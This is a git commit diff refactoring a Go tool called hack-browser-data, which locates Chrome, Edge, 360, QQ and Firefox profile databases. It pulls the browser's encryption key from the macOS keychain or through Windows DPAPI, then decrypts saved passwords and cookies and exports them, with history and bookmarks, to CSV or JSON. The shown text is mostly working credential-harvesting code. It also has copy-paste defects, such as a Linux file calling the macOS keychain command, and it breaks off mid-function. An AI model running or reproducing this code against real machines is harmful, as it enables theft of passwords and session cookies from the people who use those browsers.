refactor code Closes #13

ᴍᴏᴏɴD4ʀᴋ 4 years ago
parent 23b9cf97f7
commit 73b3075806
  1. 53
      cmd/cmd.go
  2. 393
      core/browser.go
  3. 69
      core/browser_darwin.go
  4. 58
      core/browser_linux.go
  5. 85
      core/browser_windows.go
  6. 218
      core/common/output.go
  7. 571
      core/common/parse.go
  8. 85
      core/decrypt/decrypt.go
  9. 115
      core/decrypt/decrypt_darwin.go
  10. 56
      core/decrypt/decrypt_linux.go
  11. 90
      core/decrypt/decrypt_windows.go
  12. 156
      core/output.go
  13. 13
      core/sort.go
  14. 23
      utils/utils.go
  15. 190
      utils/utils_darwin.go

@ -5,7 +5,6 @@ import (
"hack-browser-data/log"
"hack-browser-data/utils"
"os"
"path/filepath"
"strings"
"github.com/urfave/cli/v2"
@ -27,7 +26,7 @@ func Execute() {
Version: "0.1.0",
Flags: []cli.Flag{
&cli.BoolFlag{Name: "verbose", Aliases: []string{"vv"}, Destination: &verbose, Value: false, Usage: "Verbose"},
&cli.StringFlag{Name: "browser", Aliases: []string{"b"}, Destination: &browser, Value: "chrome", Usage: "Available browsers: " + strings.Join(utils.ListBrowser(), "|")},
&cli.StringFlag{Name: "browser", Aliases: []string{"b"}, Destination: &browser, Value: "all", Usage: "Available browsers: all|" + strings.Join(core.ListBrowser(), "|")},
&cli.StringFlag{Name: "results-dir", Aliases: []string{"dir"}, Destination: &exportDir, Value: "results", Usage: "Export dir"},
&cli.StringFlag{Name: "format", Aliases: []string{"f"}, Destination: &outputFormat, Value: "csv", Usage: "Format, csv|json"},
&cli.StringFlag{Name: "export-data", Aliases: []string{"e"}, Destination: &exportData, Value: "all", Usage: "all|password|cookie|history|bookmark"},
@ -40,58 +39,22 @@ func Execute() {
} else {
log.InitLog("error")
}
browserDir, key, err := utils.PickBrowser(browser)
browsers, err := core.PickBrowsers(browser)
if err != nil {
log.Fatal(err, " Available browsers: "+strings.Join(utils.ListBrowser(), "|"))
}
if browser != "firefox" {
err = utils.InitKey(key)
if err != nil {
log.Fatal(err, "Please Open an issue on GitHub")
}
var fileList []string
switch exportData {
case "all":
fileList = utils.GetDBPath(browserDir, utils.LoginData, utils.History, utils.Bookmarks, utils.Cookies)
case "password", "cookie", "history", "bookmark":
fileList = utils.GetDBPath(browserDir, exportData)
default:
log.Fatal("Choose one from all|password|cookie|history|bookmark")
}
for _, v := range fileList {
dst := filepath.Base(v)
err := utils.CopyDB(v, dst)
if err != nil {
log.Debug(err)
continue
}
core.ParseResult(dst)
}
} else {
fileList := utils.GetDBPath(browserDir, utils.FirefoxLoginData, utils.FirefoxKey4DB, utils.FirefoxCookie, utils.FirefoxData)
log.Error("fileList", fileList)
for _, v := range fileList {
dst := filepath.Base(v)
err := utils.CopyDB(v, dst)
if err != nil {
log.Debug(err)
continue
}
core.ParseResult(dst)
}
log.Error(err)
}
core.FullData.Sorted()
utils.MakeDir(exportDir)
if outputFormat == "json" {
err := core.FullData.OutPutJson(exportDir, browser, outputFormat)
for _, v := range browsers {
err := v.InitSecretKey()
if err != nil {
log.Error(err)
}
} else {
err := core.FullData.OutPutCsv(exportDir, browser, outputFormat)
err = v.GetProfilePath(exportData)
if err != nil {
log.Error(err)
}
v.ParseDB()
v.OutPut(exportDir, outputFormat)
}
return nil
},

@ -0,0 +1,393 @@
package core
import (
"errors"
"hack-browser-data/core/common"
"hack-browser-data/log"
"hack-browser-data/utils"
"path/filepath"
"strings"
)
const (
chromeName = "Chrome"
edgeName = "Microsoft Edge"
firefoxName = "Firefox"
speed360Name = "360speed"
qqBrowserName = "qq"
)
type Browser interface {
GetProfilePath(filename string) (err error)
InitSecretKey() error
ParseDB()
OutPut(dir, format string)
}
type chromium struct {
ProfilePath string
KeyPath string
Name string
SecretKey []byte
FileLists []FileList
Data common.BrowserData
}
type firefox struct {
ProfilePath string
KeyPath string
Name string
FileLists []FileList
Data common.BrowserData
}
type FileList struct {
name string
mainFile string
mainPath string
subFile string
subPath string
}
const (
cookie = "cookie"
history = "history"
bookmark = "bookmark"
password = "password"
)
var (
ErrDataNotSupported = errors.New(`not supported, default is "all", choose from history|password|bookmark|cookie`)
ErrBrowserNotSupported = errors.New("browser not supported")
chromiumParseList = map[string]FileList{
cookie: {
name: cookie,
mainFile: common.ChromeCookies,
},
history: {
name: history,
mainFile: common.ChromeHistory,
},
bookmark: {
name: bookmark,
mainFile: common.ChromeBookmarks,
},
password: {
name: password,
mainFile: common.ChromePassword,
},
}
firefoxParseList = map[string]FileList{
cookie: {
name: cookie,
mainFile: common.FirefoxCookie,
},
history: {
name: history,
mainFile: common.FirefoxData,
},
bookmark: {
name: bookmark,
mainFile: common.FirefoxData,
},
password: {
name: password,
mainFile: common.FirefoxKey4DB,
subFile: common.FirefoxLoginData,
},
}
)
func (c *chromium) GetProfilePath(filename string) (err error) {
filename = strings.ToLower(filename)
if filename == "all" {
for _, v := range chromiumParseList {
m, err := filepath.Glob(c.ProfilePath + v.mainFile)
if err != nil {
log.Error(err)
continue
}
if len(m) > 0 {
log.Debugf("%s find %s File Success", c.Name, v.name)
log.Debugf("%s file location is %s", v, m[0])
v.mainPath = m[0]
c.FileLists = append(c.FileLists, v)
} else {
log.Errorf("%+v find %s failed", c.Name, v.name)
}
}
} else if v, ok := chromiumParseList[filename]; ok {
m, err := filepath.Glob(c.ProfilePath + v.mainFile)
if err != nil {
log.Error(err)
}
if len(m) > 0 {
log.Debugf("%s find %s File Success", c.Name, v)
log.Debugf("%s file location is %s", v, m[0])
v.mainPath = m[0]
c.FileLists = append(c.FileLists, v)
}
} else {
return ErrDataNotSupported
}
return nil
}
func (c *chromium) ParseDB() {
for _, v := range c.FileLists {
err := utils.CopyDB(v.mainPath, filepath.Base(v.mainPath))
if err != nil {
log.Error(err)
}
switch v.name {
case bookmark:
if err := chromeParse(c.SecretKey, &c.Data.Bookmarks); err != nil {
log.Error(err)
}
case history:
if err := chromeParse(c.SecretKey, &c.Data.History); err != nil {
log.Error(err)
}
case password:
if err := chromeParse(c.SecretKey, &c.Data.Logins); err != nil {
log.Error(err)
}
case cookie:
if err := chromeParse(c.SecretKey, &c.Data.Cookies); err != nil {
log.Error(err)
}
}
}
}
func (c *chromium) OutPut(dir, format string) {
c.Data.Sorted()
switch format {
case "json":
for _, v := range c.FileLists {
switch v.name {
case bookmark:
if err := outPutJson(c.Name, dir, &c.Data.Bookmarks); err != nil {
log.Error(err)
}
case history:
if err := outPutJson(c.Name, dir, &c.Data.History); err != nil {
log.Error(err)
}
case password:
if err := outPutJson(c.Name, dir, &c.Data.Logins); err != nil {
log.Error(err)
}
case cookie:
if err := outPutJson(c.Name, dir, &c.Data.Cookies); err != nil {
log.Error(err)
}
}
}
case "csv":
for _, v := range c.FileLists {
switch v.name {
case bookmark:
if err := outPutCsv(c.Name, dir, &c.Data.Bookmarks); err != nil {
log.Error(err)
}
case history:
if err := outPutCsv(c.Name, dir, &c.Data.History); err != nil {
log.Error(err)
}
case password:
if err := outPutCsv(c.Name, dir, &c.Data.Logins); err != nil {
log.Error(err)
}
case cookie:
if err := outPutCsv(c.Name, dir, &c.Data.Cookies); err != nil {
log.Error(err)
}
}
}
}
}
func decryptChromium(profile, key, name string) (Browser, error) {
return &chromium{ProfilePath: profile, KeyPath: key, Name: name}, nil
}
func (f *firefox) ParseDB() {
for _, v := range f.FileLists {
err := utils.CopyDB(v.mainPath, filepath.Base(v.mainPath))
if v.subPath != "" {
err := utils.CopyDB(v.subPath, filepath.Base(v.subPath))
if err != nil {
log.Error(err)
}
}
if err != nil {
log.Error(err)
}
switch v.name {
case password:
if err := firefoxParse(&f.Data.Logins); err != nil {
log.Error(err)
}
case bookmark:
if err := firefoxParse(&f.Data.Bookmarks); err != nil {
log.Error(err)
}
case history:
if err := firefoxParse(&f.Data.History); err != nil {
log.Error(err)
}
case cookie:
if err := firefoxParse(&f.Data.Cookies); err != nil {
log.Error(err)
}
}
}
}
func (f *firefox) GetProfilePath(filename string) (err error) {
filename = strings.ToLower(filename)
if filename == "all" {
for _, v := range firefoxParseList {
m, err := filepath.Glob(f.ProfilePath + v.mainFile)
if v.subFile != "" {
s, err := filepath.Glob(f.ProfilePath + v.subFile)
if err != nil {
log.Error(err)
continue
}
if len(s) > 0 {
log.Debugf("%s find %s File Success", f.Name, v.name)
log.Debugf("%s file location is %s", v, s[0])
v.subPath = s[0]
}
}
if err != nil {
log.Error(err)
continue
}
if len(m) > 0 {
log.Debugf("%s find %s File Success", f.Name, v.name)
log.Debugf("%+v file location is %s", v, m[0])
v.mainPath = m[0]
f.FileLists = append(f.FileLists, v)
} else {
log.Errorf("%s find %s failed", f.Name, v.name)
}
}
} else if v, ok := firefoxParseList[filename]; ok {
m, err := filepath.Glob(f.ProfilePath + v.mainFile)
if err != nil {
log.Error(err)
}
if len(m) > 0 {
log.Debugf("%s find %s File Success", f.Name, v)
log.Debugf("%s file location is %s", v, m[0])
v.mainPath = m[0]
f.FileLists = append(f.FileLists, v)
}
} else {
return ErrDataNotSupported
}
return nil
}
func (f *firefox) OutPut(dir, format string) {
f.Data.Sorted()
switch format {
case "json":
for _, v := range f.FileLists {
switch v.name {
case bookmark:
if err := outPutJson(f.Name, dir, &f.Data.Bookmarks); err != nil {
log.Error(err)
}
case history:
if err := outPutJson(f.Name, dir, &f.Data.History); err != nil {
log.Error(err)
}
case password:
if err := outPutJson(f.Name, dir, &f.Data.Logins); err != nil {
log.Error(err)
}
case cookie:
if err := outPutJson(f.Name, dir, &f.Data.Cookies); err != nil {
log.Error(err)
}
}
}
case "csv":
for _, v := range f.FileLists {
switch v.name {
case bookmark:
if err := outPutCsv(f.Name, dir, &f.Data.Bookmarks); err != nil {
log.Error(err)
}
case history:
if err := outPutCsv(f.Name, dir, &f.Data.History); err != nil {
log.Error(err)
}
case password:
if err := outPutCsv(f.Name, dir, &f.Data.Logins); err != nil {
log.Error(err)
}
case cookie:
if err := outPutCsv(f.Name, dir, &f.Data.Cookies); err != nil {
log.Error(err)
}
}
}
}
}
func (f *firefox) InitSecretKey() error {
return nil
}
func decryptFirefox(profile, key, name string) (Browser, error) {
return &firefox{ProfilePath: profile, KeyPath: key, Name: name}, nil
}
func PickBrowsers(name string) ([]Browser, error) {
var browsers []Browser
name = strings.ToLower(name)
if name == "all" {
for _, v := range browserList {
b, err := v.New(v.ProfilePath, v.KeyPath, v.Name)
if err != nil {
log.Error(err)
}
browsers = append(browsers, b)
}
return browsers, nil
} else if choice, ok := browserList[name]; ok {
b, err := choice.New(choice.ProfilePath, choice.KeyPath, choice.Name)
browsers = append(browsers, b)
return browsers, err
}
return nil, ErrBrowserNotSupported
}
func chromeParse(key []byte, f common.Formatter) error {
return f.ChromeParse(key)
}
func firefoxParse(f common.Formatter) error {
return f.FirefoxParse()
}
func outPutJson(name, dir string, f common.Formatter) error {
return f.OutPutJson(name, dir)
}
func outPutCsv(name, dir string, f common.Formatter) error {
return f.OutPutCsv(name, dir)
}
func ListBrowser() []string {
var l []string
for k := range browserList {
l = append(l, k)
}
return l
}

@ -0,0 +1,69 @@
package core
import (
"bytes"
"crypto/sha1"
"errors"
"hack-browser-data/log"
"os/exec"
"golang.org/x/crypto/pbkdf2"
)
const (
chromeProfilePath = "/Users/*/Library/Application Support/Google/Chrome/*/"
edgeProfilePath = "/Users/*/Library/Application Support/Microsoft Edge/*/"
fireFoxProfilePath = "/Users/*/Library/Application Support/Firefox/Profiles/*.default-release/"
)
var (
browserList = map[string]struct {
ProfilePath string
Name string
KeyPath string
New func(profile, key, name string) (Browser, error)
}{
"chrome": {
ProfilePath: chromeProfilePath,
Name: chromeName,
New: decryptChromium,
},
"edge": {
ProfilePath: edgeProfilePath,
Name: edgeName,
New: decryptChromium,
},
"firefox": {
ProfilePath: fireFoxProfilePath,
Name: firefoxName,
New: decryptFirefox,
},
}
)
func (c *chromium) InitSecretKey() error {
var (
cmd *exec.Cmd
stdout, stderr bytes.Buffer
)
//➜ security find-generic-password -wa 'Chrome'
cmd = exec.Command("security", "find-generic-password", "-wa", c.Name)
cmd.Stdout = &stdout
cmd.Stderr = &stderr
err := cmd.Run()
if err != nil {
log.Error(err)
return err
}
if stderr.Len() > 0 {
err = errors.New(stderr.String())
log.Error(err)
}
temp := stdout.Bytes()
chromePass := temp[:len(temp)-1]
var chromeSalt = []byte("saltysalt")
// @https://source.chromium.org/chromium/chromium/src/+/master:components/os_crypt/os_crypt_mac.mm;l=157
key := pbkdf2.Key(chromePass, chromeSalt, 1003, 16, sha1.New)
c.SecretKey = key
return err
}

@ -0,0 +1,58 @@
package core
import (
"bytes"
"crypto/sha1"
"errors"
"hack-browser-data/log"
"os/exec"
"golang.org/x/crypto/pbkdf2"
)
const (
fireFoxProfilePath = "/home/*/.mozilla/firefox/*.default-release/"
fireFoxCommand = ""
)
var (
browserList = map[string]struct {
ProfilePath string
Name string
KeyPath string
New func(profile, key, name string) (Browser, error)
}{
"firefox": {
ProfilePath: fireFoxProfilePath,
Name: fireFoxCommand,
New: decryptFirefox,
},
}
)
func (c *chromium) InitSecretKey() error {
var (
cmd *exec.Cmd
stdout, stderr bytes.Buffer
)
//➜ security find-generic-password -wa 'Chrome'
cmd = exec.Command("security", "find-generic-password", "-wa", c.Name)
cmd.Stdout = &stdout
cmd.Stderr = &stderr
err := cmd.Run()
if err != nil {
log.Error(err)
return err
}
if stderr.Len() > 0 {
err = errors.New(stderr.String())
log.Error(err)
}
temp := stdout.Bytes()
chromePass := temp[:len(temp)-1]
var chromeSalt = []byte("saltysalt")
// @https://source.chromium.org/chromium/chromium/src/+/master:components/os_crypt/os_crypt_mac.mm;l=157
key := pbkdf2.Key(chromePass, chromeSalt, 1003, 16, sha1.New)
c.SecretKey = key
return err
}

@ -0,0 +1,85 @@
package core
import (
"encoding/base64"
"errors"
"hack-browser-data/core/decrypt"
"hack-browser-data/utils"
"os"
"github.com/tidwall/gjson"
)
const (
chromeProfilePath = "/AppData/Local/Google/Chrome/User Data/*/"
chromeKeyPath = "/AppData/Local/Google/Chrome/User Data/Local State"
edgeProfilePath = "/AppData/Local/Microsoft/Edge/User Data/*/"
edgeKeyPath = "/AppData/Local/Microsoft/Edge/User Data/Local State"
speed360ProfilePath = "/AppData/Local/360chrome/Chrome/User Data/*/"
speed360KeyPath = ""
qqBrowserProfilePath = "/AppData/Local/Tencent/QQBrowser/User Data/*/"
qqBrowserKeyPath = ""
firefoxProfilePath = "/AppData/Roaming/Mozilla/Firefox/Profiles/*.default-release/"
firefoxKeyPath = ""
)
var (
browserList = map[string]struct {
ProfilePath string
Name string
KeyPath string
New func(profile, key, name string) (Browser, error)
}{
"chrome": {
ProfilePath: os.Getenv("USERPROFILE") + chromeProfilePath,
KeyPath: os.Getenv("USERPROFILE") + chromeKeyPath,
Name: chromeName,
New: decryptChromium,
},
"edge": {
ProfilePath: os.Getenv("USERPROFILE") + edgeProfilePath,
KeyPath: os.Getenv("USERPROFILE") + edgeKeyPath,
Name: edgeName,
New: decryptChromium,
},
"360": {
ProfilePath: os.Getenv("USERPROFILE") + speed360ProfilePath,
Name: speed360Name,
New: decryptChromium,
},
"qq": {
ProfilePath: os.Getenv("USERPROFILE") + qqBrowserProfilePath,
Name: qqBrowserName,
New: decryptChromium,
},
"firefox": {
ProfilePath: os.Getenv("USERPROFILE") + firefoxProfilePath,
Name: firefoxName,
New: decryptFirefox,
},
}
)
var (
errBase64DecodeFailed = errors.New("decode base64 failed")
)
func (c *chromium) InitSecretKey() error {
if c.KeyPath == "" {
return nil
}
keyFile, err := utils.ReadFile(c.KeyPath)
if err != nil {
return err
}
encryptedKey := gjson.Get(keyFile, "os_crypt.encrypted_key")
if encryptedKey.Exists() {
pureKey, err := base64.StdEncoding.DecodeString(encryptedKey.String())
if err != nil {
return errBase64DecodeFailed
}
c.SecretKey, err = decrypt.DPApi(pureKey[5:])
return err
}
return nil
}

@ -0,0 +1,218 @@
package common
import (
"bytes"
"encoding/json"
"fmt"
"hack-browser-data/log"
"hack-browser-data/utils"
"os"
"github.com/jszwec/csvutil"
)
var utf8Bom = []byte{239, 187, 191}
func (b *Bookmarks) OutPutJson(browser, dir string) error {
filename := utils.FormatFileName(dir, browser, "bookmark", "json")
file, err := os.OpenFile(filename, os.O_RDWR|os.O_CREATE|os.O_TRUNC|os.O_APPEND, 0644)
defer func() {
if err := file.Close(); err != nil {
log.Error(err)
}
}()
if err != nil {
log.Errorf("create file %s fail", filename)
return err
}
w := new(bytes.Buffer)
enc := json.NewEncoder(w)
enc.SetEscapeHTML(false)
enc.SetIndent("", "\t")
enc.Encode(b.bookmarks)
_, err = file.Write(w.Bytes())
if err != nil {
log.Error(err)
return err
}
fmt.Printf("%s Get %d bookmarks, filename is %s \n", log.Prefix, len(b.bookmarks), filename)
return nil
}
func (h *History) OutPutJson(browser, dir string) error {
filename := utils.FormatFileName(dir, browser, "history", "json")
file, err := os.OpenFile(filename, os.O_RDWR|os.O_CREATE|os.O_TRUNC|os.O_APPEND, 0644)
defer func() {
if err := file.Close(); err != nil {
log.Error(err)
}
}()
if err != nil {
log.Errorf("create file %s fail", filename)
return err
}
w := new(bytes.Buffer)
enc := json.NewEncoder(w)
enc.SetEscapeHTML(false)
enc.SetIndent("", "\t")
err = enc.Encode(h.history)
if err != nil {
log.Debug(err)
}
_, err = file.Write(w.Bytes())
if err != nil {
log.Error(err)
return err
}
fmt.Printf("%s Get %d history, filename is %s \n", log.Prefix, len(h.history), filename)
return nil
}
func (l *Logins) OutPutJson(browser, dir string) error {
filename := utils.FormatFileName(dir, browser, "password", "json")
file, err := os.OpenFile(filename, os.O_RDWR|os.O_CREATE|os.O_TRUNC|os.O_APPEND, 0644)
defer func() {
if err := file.Close(); err != nil {
log.Error(err)
}
}()
if err != nil {
log.Errorf("create file %s fail", filename)
return err
}
w := new(bytes.Buffer)
enc := json.NewEncoder(w)
enc.SetEscapeHTML(false)
enc.SetIndent("", "\t")
err = enc.Encode(l.logins)
if err != nil {
log.Debug(err)
}
_, err = file.Write(w.Bytes())
if err != nil {
log.Error(err)
return err
}
fmt.Printf("%s Get %d history, filename is %s \n", log.Prefix, len(l.logins), filename)
return nil
}
func (c *Cookies) OutPutJson(browser, dir string) error {
filename := utils.FormatFileName(dir, browser, "cookie", "json")
file, err := os.OpenFile(filename, os.O_RDWR|os.O_CREATE|os.O_TRUNC|os.O_APPEND, 0644)
defer func() {
if err := file.Close(); err != nil {
log.Error(err)
}
}()
if err != nil {
log.Errorf("create file %s fail", filename)
return err
}
w := new(bytes.Buffer)
enc := json.NewEncoder(w)
enc.SetEscapeHTML(false)
enc.SetIndent("", "\t")
err = enc.Encode(c.cookies)
if err != nil {
log.Debug(err)
return err
}
_, err = file.Write(w.Bytes())
if err != nil {
log.Error(err)
return err
}
fmt.Printf("%s Get %d history, filename is %s \n", log.Prefix, len(c.cookies), filename)
return nil
}
func (b *Bookmarks) OutPutCsv(browser, dir string) error {
filename := utils.FormatFileName(dir, browser, "bookmark", "csv")
file, err := os.OpenFile(filename, os.O_RDWR|os.O_CREATE|os.O_TRUNC|os.O_APPEND, 0644)
defer func() {
if err := file.Close(); err != nil {
log.Error(err)
}
}()
if err != nil {
log.Errorf("create file %s fail %s", filename, err)
return err
}
file.Write(utf8Bom)
data, err := csvutil.Marshal(b.bookmarks)
if err != nil {
return err
}
file.Write(data)
fmt.Printf("%s Get %d bookmarks, filename is %s \n", log.Prefix, len(b.bookmarks), filename)
return nil
}
func (h *History) OutPutCsv(browser, dir string) error {
filename := utils.FormatFileName(dir, browser, "history", "csv")
file, err := os.OpenFile(filename, os.O_RDWR|os.O_CREATE|os.O_TRUNC|os.O_APPEND, 0644)
defer func() {
if err := file.Close(); err != nil {
log.Error(err)
}
}()
if err != nil {
log.Errorf("create file %s fail %s", filename, err)
return err
}
file.Write(utf8Bom)
data, err := csvutil.Marshal(h.history)
if err != nil {
return err
}
file.Write(data)
fmt.Printf("%s Get %d bookmarks, filename is %s \n", log.Prefix, len(h.history), filename)
return nil
}
func (l *Logins) OutPutCsv(browser, dir string) error {
filename := utils.FormatFileName(dir, browser, "password", "csv")
file, err := os.OpenFile(filename, os.O_RDWR|os.O_CREATE|os.O_TRUNC|os.O_APPEND, 0644)
defer func() {
if err := file.Close(); err != nil {
log.Error(err)
}
}()
if err != nil {
log.Errorf("create file %s fail %s", filename, err)
return err
}
file.Write(utf8Bom)
data, err := csvutil.Marshal(l.logins)
if err != nil {
return err
}
file.Write(data)
fmt.Printf("%s Get %d bookmarks, filename is %s \n", log.Prefix, len(l.logins), filename)
return nil
}
func (c *Cookies) OutPutCsv(browser, dir string) error {
filename := utils.FormatFileName(dir, browser, "cookie", "csv")
file, err := os.OpenFile(filename, os.O_RDWR|os.O_CREATE|os.O_TRUNC|os.O_APPEND, 0644)
defer func() {
if err := file.Close(); err != nil {
log.Error(err)
}
}()
if err != nil {
log.Errorf("create file %s fail", filename)
return err
}
var tempSlice []cookies
for _, v := range c.cookies {
tempSlice = append(tempSlice, v...)
}
file.Write(utf8Bom)
data, err := csvutil.Marshal(tempSlice)
file.Write(data)
fmt.Printf("%s Get %d cookies, filename is %s \n", log.Prefix, len(c.cookies), filename)
return nil
}

@ -1,14 +1,15 @@
package core
package common
import (
"bytes"
"database/sql"
"encoding/base64"
"encoding/hex"
"hack-browser-data/core/decrypt"
"hack-browser-data/log"
"hack-browser-data/utils"
"io/ioutil"
"os"
"sort"
"time"
_ "github.com/mattn/go-sqlite3"
@ -16,29 +17,39 @@ import (
)
const (
bookmarkID = "id"
bookmarkAdded = "date_added"
bookmarkUrl = "url"
bookmarkName = "name"
bookmarkType = "type"
bookmarkChildren = "children"
ChromePassword = "Login Data"
ChromeHistory = "History"
ChromeCookies = "Cookies"
ChromeBookmarks = "Bookmarks"
FirefoxCookie = "cookies.sqlite"
FirefoxKey4DB = "key4.db"
FirefoxLoginData = "logins.json"
FirefoxData = "places.sqlite"
FirefoxKey3DB = "key3.db"
)
var (
FullData = new(BrowserData)
type (
BrowserData struct {
Logins
Bookmarks
History
Cookies
}
Logins struct {
logins []loginData
}
Bookmarks struct {
bookmarks []bookmark
}
History struct {
history []history
}
Cookies struct {
cookies map[string][]cookies
}
)
type (
BrowserData struct {
LoginDataSlice
BookmarkSlice
CookieMap
HistorySlice
}
LoginDataSlice []loginData
BookmarkSlice []bookmarks
CookieMap map[string][]cookies
HistorySlice []history
loginData struct {
UserName string
encryptPass []byte
@ -47,7 +58,7 @@ type (
LoginUrl string
CreateDate time.Time
}
bookmarks struct {
bookmark struct {
ID int64
Name string
Type string
@ -75,56 +86,42 @@ type (
}
)
func ParseResult(dbname string) {
switch dbname {
case utils.Bookmarks:
parseBookmarks()
case utils.History:
parseHistory()
case utils.Cookies:
parseCookie()
case utils.LoginData:
parseLogin()
case utils.FirefoxCookie:
parseFirefoxCookie()
case utils.FirefoxKey4DB:
parseFirefoxKey4()
case utils.FirefoxData:
parseFirefoxData()
}
}
var bookmarkList BookmarkSlice
const (
bookmarkID = "id"
bookmarkAdded = "date_added"
bookmarkUrl = "url"
bookmarkName = "name"
bookmarkType = "type"
bookmarkChildren = "children"
)
func parseBookmarks() {
bookmarks, err := utils.ReadFile(utils.Bookmarks)
func (b *Bookmarks) ChromeParse(key []byte) error {
bookmarks, err := utils.ReadFile(ChromeBookmarks)
defer func() {
if err := os.Remove(utils.Bookmarks); err != nil {
if err := os.Remove(ChromeBookmarks); err != nil {
log.Error(err)
}
}()
if err != nil {
log.Debug(err)
return err
}
r := gjson.Parse(bookmarks)
if r.Exists() {
roots := r.Get("roots")
roots.ForEach(func(key, value gjson.Result) bool {
getBookmarkChildren(value)
getBookmarkChildren(value, b)
return true
})
}
FullData.BookmarkSlice = bookmarkList
return nil
}
var queryLogin = `SELECT origin_url, username_value, password_value, date_created FROM logins`
func parseLogin() {
var loginItemList LoginDataSlice
func (l *Logins) ChromeParse(key []byte) error {
login := loginData{}
loginDB, err := sql.Open("sqlite3", utils.LoginData)
loginDB, err := sql.Open("sqlite3", ChromePassword)
defer func() {
if err := os.Remove(utils.LoginData); err != nil {
if err := os.Remove(ChromePassword); err != nil {
log.Error(err)
}
}()
@ -135,8 +132,10 @@ func parseLogin() {
}()
if err != nil {
log.Debug(err)
return err
}
err = loginDB.Ping()
var queryLogin = `SELECT origin_url, username_value, password_value, date_created FROM logins`
rows, err := loginDB.Query(queryLogin)
defer func() {
if err := rows.Close(); err != nil {
@ -145,8 +144,8 @@ func parseLogin() {
}()
for rows.Next() {
var (
url, username, password string
pwd []byte
url, username string
pwd, password []byte
create int64
)
err = rows.Scan(&url, &username, &pwd, &create)
@ -155,10 +154,10 @@ func parseLogin() {
encryptPass: pwd,
LoginUrl: url,
}
if utils.VersionUnder80 {
password, err = utils.DecryptStringWithDPAPI(pwd)
if key == nil {
password, err = decrypt.DPApi(pwd)
} else {
password, err = utils.DecryptChromePass(pwd)
password, err = decrypt.ChromePass(key, pwd)
}
if create > time.Now().Unix() {
login.CreateDate = utils.TimeEpochFormat(create)
@ -166,36 +165,55 @@ func parseLogin() {
login.CreateDate = utils.TimeStampFormat(create)
}
login.Password = password
login.Password = string(password)
if err != nil {
log.Debug(err)
}
loginItemList = append(loginItemList, login)
l.logins = append(l.logins, login)
}
FullData.LoginDataSlice = loginItemList
return nil
}
var queryCookie = `SELECT name, encrypted_value, host_key, path, creation_utc, expires_utc, is_secure, is_httponly, has_expires, is_persistent FROM cookies`
func getBookmarkChildren(value gjson.Result, b *Bookmarks) (children gjson.Result) {
bm := bookmark{}
bm.ID = value.Get(bookmarkID).Int()
nodeType := value.Get(bookmarkType)
bm.DateAdded = utils.TimeEpochFormat(value.Get(bookmarkAdded).Int())
bm.URL = value.Get(bookmarkUrl).String()
bm.Name = value.Get(bookmarkName).String()
children = value.Get(bookmarkChildren)
if nodeType.Exists() {
bm.Type = nodeType.String()
b.bookmarks = append(b.bookmarks, bm)
if children.Exists() && children.IsArray() {
for _, v := range children.Array() {
children = getBookmarkChildren(v, b)
}
}
}
return children
}
func parseCookie() {
cookie := cookies{}
cookieMap := make(map[string][]cookies)
cookieDB, err := sql.Open("sqlite3", utils.Cookies)
func (h *History) ChromeParse(key []byte) error {
data := history{}
historyDB, err := sql.Open("sqlite3", ChromeHistory)
defer func() {
if err := os.Remove(utils.Cookies); err != nil {
if err := os.Remove(ChromeHistory); err != nil {
log.Error(err)
}
}()
defer func() {
if err := cookieDB.Close(); err != nil {
if err := historyDB.Close(); err != nil {
log.Debug(err)
}
}()
if err != nil {
log.Debug(err)
return err
}
err = cookieDB.Ping()
rows, err := cookieDB.Query(queryCookie)
err = historyDB.Ping()
var queryHistory = `SELECT url, title, visit_count, last_visit_time FROM urls`
rows, err := historyDB.Query(queryHistory)
defer func() {
if err := rows.Close(); err != nil {
log.Debug(err)
@ -203,62 +221,48 @@ func parseCookie() {
}()
for rows.Next() {
var (
key, host, path, value string
isSecure, isHTTPOnly, hasExpire, isPersistent int
createDate, expireDate int64
encryptValue []byte
url, title string
visitCount int
lastVisitTime int64
)
err = rows.Scan(&key, &encryptValue, &host, &path, &createDate, &expireDate, &isSecure, &isHTTPOnly, &hasExpire, &isPersistent)
cookie = cookies{
KeyName: key,
Host: host,
Path: path,
encryptValue: encryptValue,
IsSecure: utils.IntToBool(isSecure),
IsHTTPOnly: utils.IntToBool(isHTTPOnly),
HasExpire: utils.IntToBool(hasExpire),
IsPersistent: utils.IntToBool(isPersistent),
CreateDate: utils.TimeEpochFormat(createDate),
ExpireDate: utils.TimeEpochFormat(expireDate),
}
// remove prefix 'v10'
if utils.VersionUnder80 {
value, err = utils.DecryptStringWithDPAPI(encryptValue)
} else {
value, err = utils.DecryptChromePass(encryptValue)
err := rows.Scan(&url, &title, &visitCount, &lastVisitTime)
data = history{
Url: url,
Title: title,
VisitCount: visitCount,
LastVisitTime: utils.TimeEpochFormat(lastVisitTime),
}
cookie.Value = value
if _, ok := cookieMap[host]; ok {
cookieMap[host] = append(cookieMap[host], cookie)
} else {
cookieMap[host] = []cookies{cookie}
if err != nil {
log.Debug(err)
continue
}
h.history = append(h.history, data)
}
FullData.CookieMap = cookieMap
return nil
}
var queryHistory = `SELECT url, title, visit_count, last_visit_time FROM urls`
func parseHistory() {
var historyList HistorySlice
h := history{}
historyDB, err := sql.Open("sqlite3", utils.History)
func (c *Cookies) ChromeParse(secretKey []byte) error {
cookie := cookies{}
c.cookies = make(map[string][]cookies)
cookieDB, err := sql.Open("sqlite3", utils.Cookies)
defer func() {
if err := os.Remove(utils.History); err != nil {
if err := os.Remove(utils.Cookies); err != nil {
log.Error(err)
}
}()
defer func() {
if err := historyDB.Close(); err != nil {
if err := cookieDB.Close(); err != nil {
log.Debug(err)
}
}()
if err != nil {
log.Debug(err)
return err
}
err = historyDB.Ping()
rows, err := historyDB.Query(queryHistory)
err = cookieDB.Ping()
var queryCookie = `SELECT name, encrypted_value, host_key, path, creation_utc, expires_utc, is_secure, is_httponly, has_expires, is_persistent FROM cookies`
rows, err := cookieDB.Query(queryCookie)
defer func() {
if err := rows.Close(); err != nil {
log.Debug(err)
@ -266,63 +270,57 @@ func parseHistory() {
}()
for rows.Next() {
var (
url, title string
visitCount int
lastVisitTime int64
key, host, path string
isSecure, isHTTPOnly, hasExpire, isPersistent int
createDate, expireDate int64
value, encryptValue []byte
)
err := rows.Scan(&url, &title, &visitCount, &lastVisitTime)
h = history{
Url: url,
Title: title,
VisitCount: visitCount,
LastVisitTime: utils.TimeEpochFormat(lastVisitTime),
}
if err != nil {
log.Debug(err)
continue
}
historyList = append(historyList, h)
err = rows.Scan(&key, &encryptValue, &host, &path, &createDate, &expireDate, &isSecure, &isHTTPOnly, &hasExpire, &isPersistent)
cookie = cookies{
KeyName: key,
